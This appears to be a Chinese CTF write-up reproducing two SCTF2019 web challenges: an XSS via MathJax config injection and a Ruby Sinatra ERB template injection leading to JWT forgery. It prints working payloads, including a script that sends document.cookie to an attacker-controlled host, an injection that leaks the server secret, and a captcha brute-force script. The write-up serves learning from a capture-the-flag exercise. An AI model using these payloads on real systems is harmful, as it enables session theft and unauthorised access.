zoukankan      html  css  js  c++  java
  • SCTF2019--WEB 2题复现

    趁着writeup出了,环境还没关,熬夜复现下比赛的2道web题

    Math-is-fun

    一开始以为是jsonp,但是ctf比赛我就没成功打到过xss.....

    界面是这样的,一边可以编辑,一遍会以MacDonald的格式输出

    源码中可控字段在<script>标签中,于是可以试着闭合一下

    http://47.110.128.101/challenge?name=1;%20alert(1);</script><script>
    

    但是没法弹窗

    因为是MacDonald的编辑器,这段代码把,name=xxx中的 xxx给复制到显示界面中了

    注意如下代码,这段代码来自对数学公式处理的js文件https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js?config=TeX-MML-AM_CHTML">

    那么会把window中的MathJax存到AuthorConfig

    之后继续查看AuthorConfig发现存入了root

    这样可以让目标访问我们自己服务器上的js脚本,且不受CSP限制

    但是受MathJax组件限制,所以要在自己服务器上路径配置如下

    www/math/config/TeX-MML-AM_CHTML.js
    
    //TeX-MML-AM_CHTML.js
    
    window['location']="http://vpsip:81/?cookie="+escape((function(){try{return document.cookie}catch(e){return''}})());
    
    

    最终的payload

    name=1%3b%0aMathJax%3d{"root"%3a"http%3a%2f%2fvpsip%2fmath"}
    

    这里的爆破验证码脚本

    # coding:utf-8
    import hashlib
    list='0123456789' 
    for a in list: 
        for b in list: 
            for c in list: 
                for d in list: 
                    for e in list: #5位数 
                        for f in list:  # 6位数 
                            for g in list: # 7位数 
                                str4=(a+b+c+d+e+f+g) 
                                value = hashlib.md5(str4) 
                                value1 = value.hexdigest() 
                                print ("[*]" + value1) 
                                s4 = value1[0:5] 
                                print ("[*]" + s4) 
                                if s4 == '61aa5':
                                    print ('[+]'+ str4)
                                    exit()
    

    打到flag

    flag shop

    这道题是ruby写的,先看了看功能,是要打工买flag,但是flag太贵了,打工是不可能买到的,而且不能用脚本,因为每次请求的JWT不同

    扫描目录有个robots.txt,获取源码路径

    #/filebak
    
    require 'sinatra'
    require 'sinatra/cookies'
    require 'sinatra/json'
    require 'jwt'
    require 'securerandom'
    require 'erb'
    
    set :public_folder, File.dirname(__FILE__) + '/static'
    
    FLAGPRICE = 1000000000000000000000000000
    #ENV["SECRET"] = SecureRandom.hex(xx)
    
    configure do
      enable :logging
      file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
      file.sync = true
      use Rack::CommonLogger, file
    end
    
    get "/" do
      redirect '/shop', 302
    end
    
    get "/filebak" do
      content_type :text
      erb IO.binread __FILE__
    end
    
    get "/api/auth" do
      payload = { uid: SecureRandom.uuid , jkl: 20}
      auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
      cookies[:auth] = auth
    end
    
    get "/api/info" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
    end
    
    get "/shop" do
      erb :shop
    end
    
    get "/work" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      auth = auth[0]
      unless params[:SECRET].nil?
        if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
          puts ENV["FLAG"]
        end
      end
    
      if params[:do] == "#{params[:name][0,7]} is working" then
    
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
    
      end
    end
    
    post "/shop" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
    
      if auth[0]["jkl"] < FLAGPRICE then
    
        json({title: "error",message: "no enough jkl"})
      else
    
        auth << {flag: ENV["FLAG"]}
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        json({title: "success",message: "jkl is good thing"})
      end
    end
    
    
    def islogin
      if cookies[:auth].nil? then
        redirect to('/shop')
      end
    end
    

    大致浏览下,要获得EVN["SECRET"]的值才能伪造我们的JWT,但是最前面有个注释表面了EVN["SECRT"]是靠

    SecureRandom.hex(xx)生成的,而且参数xx未知,所以暴力是不可能的

    继续浏览

    这个params[:name][0,7]是可控的,因此我们payload如下

    http://47.110.15.101/work?name=<%25=1%25>&do=<%25=1%25>%20is%20working
    

    这样结果显示的是

    Ruby的全局变量 https://blog.csdn.net/zdq0394123/article/details/8443694

    其中的$'是显示最后一次匹配前的内容

    因此利用方法是最先去带SECRET参数去匹配,这时候ENV["SECRET"]会匹配,结果是不正确的,但是ENV["SECRET"]的值会被记录在$'中,因此第二次不用触发匹配,直接输出$'即可

    http://47.110.15.101/work?name=%3C%25=$%27%25%3E&do=%3C%25=$%27%25%3E%20is%20working&SECRET=d
    

    http://47.110.15.101/work?name=%3C%25=$%27%25%3E&do=%3C%25=$%27%25%3E%20is%20working&SECRET=
    

    获得了秘钥后就能伪造JWT

    把这个JWT丢到一个工具网站去,修改下jkl和填下秘钥

    将生产的JWT带成cookie去买flag

    显示成功,看代码的逻辑,flag被存到了JWT中,因此再次解密下JWT即可获得flag

  • 相关阅读:
    链接Oracle数据库
    Spring boot Mybatis
    Spring Boot 部署
    javaEE应用组件
    maven项目搭建步骤
    Spring Boot中Redis的使用
    Struts2 Hello,Wold
    使用JSON
    Spring中Quartz的配置
    Guice示例
  • 原文地址:https://www.cnblogs.com/sijidou/p/13111969.html
Copyright © 2011-2022 走看看